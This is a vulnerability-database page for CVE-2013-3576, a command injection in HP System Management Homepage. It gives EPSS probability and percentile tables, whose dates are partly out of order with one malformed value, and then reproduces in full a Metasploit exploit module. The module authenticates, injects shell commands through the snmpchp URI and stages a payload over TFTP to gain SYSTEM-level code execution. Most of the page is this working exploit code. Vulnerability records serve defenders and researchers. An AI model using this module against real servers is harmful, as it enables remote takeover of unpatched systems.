CVE-2013-3576 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	72.07%	–	–
2022-11-20	–	–	70.21%	–	–
2023-02-26	–	–	68.65%	–	–
2023-03-12	–	–	–	19.11%	–
2023-04-16	–	–	–	19.11%	–
2023-04-23	–	–	–	19.11%	–
2023-04-30	–	–	–	19.11%	–
2023-06-18	–	–	–	24.76%	–
2023-08-06	–	–	–	29.69%	–
2023-09-24	–	–	–	36.03%	–
2023-12-31	–	–	–	44.83%	–
2024-06-02	–	–	–	46.48%	–
2024-07-14	–	–	–	52.3%	–
2024-09-08	–	–	–	53.6%	–
2024-11-10	–	–	–	49.51%	–
2024-12-22	–	–	–	40.82%	–
2025-01-12	–	–	–	35.13%	–
2025-03-16	–	–	–	48.58%	–
2025-01-19	–	–	–	35.13%	–
2025-03-18	–	–	–	–	41.98%
2025-03-30	–	–	–	–	44.35%
2025-03-30	–	–	–	–	44.35,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2022-11-20	99%
2023-02-26	99%
2023-03-12	95%
2023-04-16	96%
2023-04-23	95%
2023-04-30	96%
2023-06-18	96%
2023-08-06	96%
2023-09-24	97%
2023-12-31	97%
2024-06-02	97%
2024-07-14	98%
2024-09-08	98%
2024-11-10	98%
2024-12-22	97%
2025-01-12	97%
2025-03-16	98%
2025-01-19	97%
2025-03-18	97%
2025-03-30	97%
2025-03-30	97%

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "HP System Management Homepage JustGetSNMPQueue Command Injection", 'Description' => %q{ This module exploits a vulnerability found in HP System Management Homepage. By supplying a specially crafted HTTP request, it is possible to control the 'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc), which will be used in a exec() function. This results in arbitrary code execution under the context of SYSTEM. Please note: In order for the exploit to work, the victim must enable the 'tftp' command, which is the case by default for systems such as Windows XP, 2003, etc. }, 'License' => MSF_LICENSE, 'Author' => [ 'Markus Wulftange', 'sinn3r' #Metasploit ], 'References' => [ ['CVE', '2013-3576'], ['OSVDB', '94191'], ['US-CERT-VU', '735364'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'SSL' => true }, 'Platform' => 'win', 'Targets' => [ ['Windows', {}], ], 'Privileged' => false, 'DisclosureDate' => "Jun 11 2013", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(2381), # USERNAME/PASS may not be necessary, because the anonymous access is possible OptString.new("USERNAME", [false, 'The username to authenticate as']), OptString.new("PASSWORD", [false, 'The password to authenticate with']) ], self.class) end def peer "#{rhost}:#{rport}" end def check cookie = '' if not datastore['USERNAME'].to_s.empty? and not datastore['PASSWORD'].to_s.empty? cookie = login if cookie.empty? print_error("#{peer} - Login failed") return Exploit::CheckCode::Safe else print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'") end end sig = Rex::Text.rand_text_alpha(10) cmd = Rex::Text.uri_encode("echo #{sig}") uri = normalize_uri("smhutil", "snmpchp/") + "&&#{cmd}&&echo" req_opts = {} req_opts['uri'] = uri if not cookie.empty? browser_chk = 'HPSMH-browser-check=done for this session' curl_loc = "curlocation-#{datastore['USERNAME']}=" req_opts['cookie'] = "#{cookie}; #{browser_chk}; #{curl_loc}" end res = send_request_raw(req_opts) if not res print_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end if res.body =~ /SNMP data engine output/ and res.body =~ /#{sig}/ return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def login username = datastore['USERNAME'] password = datastore['PASSWORD'] cookie = '' res = send_request_cgi({ 'method' => 'POST', 'uri' => '/proxy/ssllogin', 'vars_post' => { 'redirecturl' => '', 'redirectquerystring' => '', 'user' => username, 'password' => password } }) if not res fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out during login") end # CpqElm-Login: success if res.headers['CpqElm-Login'].to_s =~ /success/ cookie = res.headers['Set-Cookie'].scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || '' end cookie end def setup_stager execute_cmdstager({ :temp => '.'}) end def execute_command(cmd, opts={}) # Payload will be: C:\hp\hpsmh\data\htdocs\smhutil uri = Rex::Text.uri_encode("#{@uri}#{cmd}&&echo") req_opts = {} req_opts['uri'] = uri if not @cookie.empty? browser_chk = 'HPSMH-browser-check=done for this session' curl_loc = "curlocation-#{datastore['USERNAME']}=" req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}" end print_status("#{peer} - Executing: #{cmd}") res = send_request_raw(req_opts) end def exploit @cookie = '' if not datastore['USERNAME'].to_s.empty? and not datastore['PASSWORD'].to_s.empty? @cookie = login if @cookie.empty? fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed") else print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'") end end @uri = normalize_uri('smhutil', 'snmpchp/') + "&&" setup_stager end end